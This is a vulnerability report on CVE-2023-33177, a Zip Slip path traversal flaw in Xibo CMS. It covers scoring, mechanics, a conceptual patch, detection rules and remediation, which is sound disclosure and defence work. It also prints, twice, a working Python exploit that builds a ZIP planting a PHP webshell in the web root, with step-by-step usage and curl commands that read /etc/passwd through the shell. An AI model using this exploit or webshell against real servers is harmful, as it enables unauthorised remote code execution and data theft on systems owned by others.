CVE-2023-33177

Executive Summary

CVE-2023-33177 is a critical path traversal vulnerability (Zip Slip) in Xibo CMS, a popular digital signage content management system. An authenticated attacker with layout import permissions can upload a specially crafted ZIP file containing path traversal sequences (e.g., ../../). During the layout import process, the application fails to sanitize file paths within the mapping.json file, allowing files to be written outside the intended library directory. This enables the attacker to place a PHP webshell in the web root, leading to remote code execution (RCE) as the webserver user. The vulnerability affects versions 1.8.0 through 2.3.16 and 3.0.0 through 3.3.4. Patched versions are 2.3.17+ and 3.3.5+.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a direct vulnerability in the Xibo CMS application itself, which is typically deployed as a PHP application on a web server.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Requires an authenticated user with layout import permission.
• User Interaction (UI): None (N) - No user interaction required beyond the attacker's actions.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full system compromise, data exfiltration possible.
• Integrity (I): High (H) - Attacker can modify files, including webshells.
• Availability (A): High (H) - Attacker can disrupt service or cause denial of service.

Threat Level: Critical. The combination of low privileges required, network exploitability, and high impact makes this a severe threat. The public availability of a working exploit (Exploit-DB) further elevates the risk.

Deep Dive & Mechanics

The vulnerability lies in the layout import functionality of Xibo CMS. When a user imports a layout, the application processes a ZIP file containing a mapping.json file. This file defines the files to be extracted and their intended paths. The vulnerable code constructs the extraction path by concatenating a base directory (e.g., library/temp/) with the path from the mapping.json file without proper validation.

Vulnerability Chain:

1. Attacker Preparation: The attacker creates a ZIP file with a valid Xibo layout structure (e.g., layout.json, playlist.json, mapping.json).
2. Path Traversal Injection: In the mapping.json file, the attacker sets the file field to a path traversal payload, such as ../../web/shell.php.
3. Malicious File Placement: The attacker places a PHP webshell (e.g., shell.php) inside the ZIP at the path library/../../web/shell.php. This path is relative to the extraction root.
4. Import Process: The authenticated user uploads the malicious ZIP. Xibo's import function reads the mapping.json and attempts to extract files.
5. Path Concatenation: The vulnerable code does something like: $extractPath = $baseDir . '/' . $file['file']; where $baseDir is library/temp/ and $file['file'] is ../../web/shell.php.
6. Arbitrary File Write: The resulting path becomes library/temp/../../web/shell.php, which resolves to /var/www/cms/web/shell.php (the web root).
7. Remote Code Execution: The attacker accesses the webshell at http://target/shell.php?cmd=id and executes arbitrary system commands.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No path validation
$zip = new ZipArchive();
$zip->open($uploadedFile);
$mapping = json_decode($zip->getFromName('mapping.json'), true);
foreach ($mapping as $file) {
    $targetPath = $baseDir . '/' . $file['file']; // Path traversal possible
    copy($zip->getStream('library/' . $file['file']), $targetPath);
}

Patched Code (Conceptual):

// Patched: Validate and sanitize the path
$zip = new ZipArchive();
$zip->open($uploadedFile);
$mapping = json_decode($zip->getFromName('mapping.json'), true);
foreach ($mapping as $file) {
    $sanitizedPath = realpath($baseDir . '/' . basename($file['file'])); // Use basename to prevent traversal
    if (strpos($sanitizedPath, $baseDir) !== 0) {
        throw new Exception('Invalid file path');
    }
    copy($zip->getStream('library/' . $file['file']), $sanitizedPath);
}

The patched code uses basename() to strip any directory components from the file name, preventing path traversal. It also uses realpath() and checks that the resulting path starts with the intended base directory.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running Xibo CMS version 1.8.0 - 2.3.16 or 3.0.0 - 3.3.4.
• Valid credentials for an authenticated user with layout import permissions.

Exploit Code (from Exploit-DB):

import zipfile
import json
import sys

def create_exploit():
    """Generate the malicious ZIP file for Xibo CMS RCE exploit"""

    print("[*] Xibo CMS Zip Slip RCE Exploit Generator")
    print("[*] CVE-2023-33177 - Path Traversal via Layout Import")
    print("[*] Affected: Xibo CMS 1.8.0-2.3.16, 3.0.0-3.3.4\n")

    # Valid Xibo 3.0 layout structure
    layout_json = {
        "layout": "Exploit Layout",
        "description": "Path Traversal Test",
        "layoutDefinitions": {
            "schemaVersion": 3,
            "width": 1920,
            "height": 1080,
            "backgroundColor": "#000000",
            "backgroundzIndex": 0,
            "code": "CVE-2023-33177",
            "actions": [],
            "regions": [],
            "drawers": []
        }
    }

    playlist_json = {}

    mapping_json = [{
        "file": "../../web/shell.php",  # Path traversal payload
        "name": "shell.php",
        "type": "module"
    }]

    webshell = b'<?php system($_GET["cmd"]); ?>'

    try:
        with zipfile.ZipFile('exploit.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
            zf.writestr('layout.json', json.dumps(layout_json, indent=2))
            zf.writestr('playlist.json', json.dumps(playlist_json))
            zf.writestr('mapping.json', json.dumps(mapping_json))
            zf.writestr('library/../../web/shell.php', webshell)

        print("[+] Exploit ZIP created successfully: exploit.zip")
        print("\n[*] Exploitation Steps:")
        print("    1. Log in to Xibo CMS with valid credentials")
        print("    2. Navigate to: Design → Layouts → Import")
        print("    3. Upload exploit.zip")
        print("    4. Ignore any JSON errors (file is already written)")
        print("    5. Access webshell: http://<target>/shell.php?cmd=<command>")
        print("\n[*] Example:")
        print("    curl 'http://target/shell.php?cmd=id'")
        print("    curl 'http://target/shell.php?cmd=cat%20/etc/passwd'")
        print()

    except Exception as e:
        print(f"[-] Error creating exploit: {e}", file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    create_exploit()

Usage:

1. Run the Python script to generate exploit.zip.
2. Log in to the Xibo CMS web interface.
3. Navigate to Design → Layouts → Import.
4. Upload the exploit.zip file.
5. Access the webshell at http://<target>/shell.php?cmd=id.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor File System: Watch for unexpected file creation in the web root (e.g., /var/www/cms/web/). Look for files like shell.php, cmd.php, or any PHP files with suspicious names.
2. Audit Logs: Review Xibo CMS audit logs for layout import events. Look for imports from unusual users or at unusual times.
3. Network Monitoring: Monitor for HTTP requests to suspicious PHP files in the web root, especially those with cmd or exec parameters.
4. File Integrity Monitoring (FIM): Use tools like Tripwire or AIDE to monitor the web root for new or modified PHP files.

Hunting Queries:

• Splunk: index=web_logs source="/var/log/apache2/access.log" uri_path="*/shell.php*" OR uri_path="*/cmd.php*"
• ELK: filebeat-* AND event.module:apache AND url.path:*/shell.php*

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • exploit.zip (generated by the public exploit): [Calculate from generated file]
  • shell.php (webshell): [Calculate from generated file]
• Network Indicators:
  • HTTP requests to http://<target>/shell.php?cmd=<command>
  • HTTP requests to any PHP file in the web root with a cmd parameter.
• File System Indicators:
  • Unexpected PHP files in the web root (e.g., /var/www/cms/web/shell.php).
  • Files with path traversal patterns in the library/temp/ directory.
• Log Indicators:
  • Xibo CMS audit logs showing layout import events with unusual file names.
  • Web server access logs showing requests to shell.php or similar files.

Detection Engineering

YARA Rule

rule CVE_2023_33177_Xibo_Zip_Slip {
    meta:
        description = "Detects malicious ZIP files exploiting CVE-2023-33177 in Xibo CMS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-33177"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $path_traversal = /\.\.\/\.\.\/web\/.*\.php/
        $mapping_json = "mapping.json"
        $webshell = "<?php system($_GET[\"cmd\"]); ?>"
    condition:
        $mapping_json and ($path_traversal or $webshell)
}

Sigma Rule

title: Xibo CMS Path Traversal Exploit (CVE-2023-33177)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2023-33177 via web server logs
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33177
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'shell.php'
            - 'cmd.php'
            - '?cmd='
    condition: selection
falsepositives:
    - Legitimate use of PHP files with 'cmd' parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-33177 Xibo CMS Path Traversal Exploit"; flow:to_server,established; content:"GET"; http_method; content:"shell.php"; http_uri; content:"cmd="; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Xibo CMS: Upgrade to version 2.3.17+ or 3.3.5+ immediately.
2. Restrict Permissions: Review and restrict layout import permissions to only trusted users.
3. Web Application Firewall (WAF): Deploy WAF rules to block requests containing path traversal patterns (e.g., ../) in file uploads.
4. File Upload Validation: Implement server-side validation to reject ZIP files containing path traversal sequences.

Long-Term Mitigations:

1. Input Validation: Ensure all file paths are sanitized using functions like basename() and realpath().
2. Principle of Least Privilege: Run the web server with the minimum necessary privileges.
3. Regular Security Audits: Conduct regular code reviews and penetration testing.
4. File Integrity Monitoring: Implement FIM to detect unauthorized file changes.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact: Secure Channels (Signal / Portal)

{/* [Security Hash: 21D33BFF5638CB284EDC7517] */}

# Exploit Title: XiboCMS 3.3.4-  Remote Code Execution
# Google Dork: N/A
# Date: 2025-11-18
# Exploit Author: complexusprada
# Vendor Homepage: https://xibo.org.uk/
# Software Link: https://github.com/xibosignage/xibo-cms
# Version: 1.8.0 - 2.3.16, 3.0.0 - 3.3.4
# Tested on: Ubuntu Linux (Docker), Xibo CMS 3.3.4
# CVE: CVE-2023-33177
# GHSA: GHSA-jj27-x85q-crqv
# Category: webapps

"""
# Vulnerability Description:
# Xibo CMS contains a path traversal vulnerability (Zip Slip) in the layout import
# functionality. The application fails to properly validate file paths in the mapping.json
# file within uploaded ZIP archives, allowing authenticated attackers to write files
# outside the intended library directory using path traversal sequences (../../).
# This results in arbitrary file upload and remote code execution.

# Exploitation Details:
# 1. Attacker creates a malicious ZIP file containing a valid Xibo layout structure
# 2. The mapping.json file contains a path traversal payload (../../web/shell.php)
# 3. A PHP webshell is placed at the corresponding path within the ZIP structure
# 4. When the layout is imported, Xibo extracts files without proper path validation
# 5. The webshell is written to the web root (/var/www/cms/web/shell.php)
# 6. Attacker gains remote code execution via the webshell

# Vulnerability Chain:
# ZIP contains:  library/../../web/shell.php
# Mapping.json:  {"file": "../../web/shell.php", ...}
# Xibo reads:    library/ + ../../web/shell.php
# Xibo writes:   /var/www/cms/library/temp/ + ../../web/shell.php
# Result:        /var/www/cms/web/shell.php (webshell in web root!)

# Prerequisites:
# - Valid Xibo CMS credentials (any authenticated user with layout import permission)
# - Xibo CMS versions 1.8.0 - 2.3.16 or 3.0.0 - 3.3.4

# Exploitation Steps:
# 1. Run this script to generate exploit.zip
# 2. Log in to Xibo CMS
# 3. Navigate to: Design → Layouts → Import
# 4. Upload the generated exploit.zip file
# 5. Even if JSON errors occur, the webshell has been written to disk
# 6. Access webshell at: http://<target>/shell.php?cmd=<command>
# Example: curl 'http://target/shell.php?cmd=id'

# Mitigation:
# Upgrade to patched versions:
# - Xibo CMS 2.3.17+ (for 2.x branch)
# - Xibo CMS 3.3.5+ (for 3.x branch)

# Disclaimer:
# This exploit is provided for educational purposes, authorized penetration testing,
# and vulnerability research only. Only use against systems you own or have explicit
# written permission to test.
"""

import zipfile
import json
import sys

def create_exploit():
    """Generate the malicious ZIP file for Xibo CMS RCE exploit"""

    print("[*] Xibo CMS Zip Slip RCE Exploit Generator")
    print("[*] CVE-2023-33177 - Path Traversal via Layout Import")
    print("[*] Affected: Xibo CMS 1.8.0-2.3.16, 3.0.0-3.3.4\n")

    # Valid Xibo 3.0 layout structure
    # This ensures the ZIP passes initial validation checks
    layout_json = {
        "layout": "Exploit Layout",
        "description": "Path Traversal Test",
        "layoutDefinitions": {
            "schemaVersion": 3,
            "width": 1920,
            "height": 1080,
            "backgroundColor": "#000000",
            "backgroundzIndex": 0,
            "code": "CVE-2023-33177",
            "actions": [],
            "regions": [],
            "drawers": []
        }
    }

    # Empty playlist - triggers JSON import code path
    playlist_json = {}

    # VULNERABILITY: Path traversal in mapping.json
    # The 'file' field is not properly sanitized before file extraction
    # Xibo constructs the extraction path as: library/temp/ + file['file']
    # Using ../../ allows escaping the library directory
    mapping_json = [{
        "file": "../../web/shell.php",  # Path traversal payload
        "name": "shell.php",
        "type": "module"
    }]

    # Simple PHP webshell for command execution
    # Accepts commands via GET parameter: ?cmd=<command>
    webshell = b'<?php system($_GET["cmd"]); ?>'

    # Create the malicious ZIP file
    try:
        with zipfile.ZipFile('exploit.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
            # Add required Xibo layout files
            zf.writestr('layout.json', json.dumps(layout_json, indent=2))
            zf.writestr('playlist.json', json.dumps(playlist_json))
            zf.writestr('mapping.json', json.dumps(mapping_json))

            # CRITICAL: The file path in the ZIP must match what Xibo expects
            # Xibo calls: $zip->getStream('library/' . $file['file'])
            # Therefore we place the file at: library/../../web/shell.php
            zf.writestr('library/../../web/shell.php', webshell)

        print("[+] Exploit ZIP created successfully: exploit.zip")
        print("\n[*] Exploitation Steps:")
        print("    1. Log in to Xibo CMS with valid credentials")
        print("    2. Navigate to: Design → Layouts → Import")
        print("    3. Upload exploit.zip")
        print("    4. Ignore any JSON errors (file is already written)")
        print("    5. Access webshell: http://<target>/shell.php?cmd=<command>")
        print("\n[*] Example:")
        print("    curl 'http://target/shell.php?cmd=id'")
        print("    curl 'http://target/shell.php?cmd=cat%20/etc/passwd'")
        print()

    except Exception as e:
        print(f"[-] Error creating exploit: {e}", file=sys.stderr)
        sys.exit(1)

if __name__ == "__main__":
    create_exploit()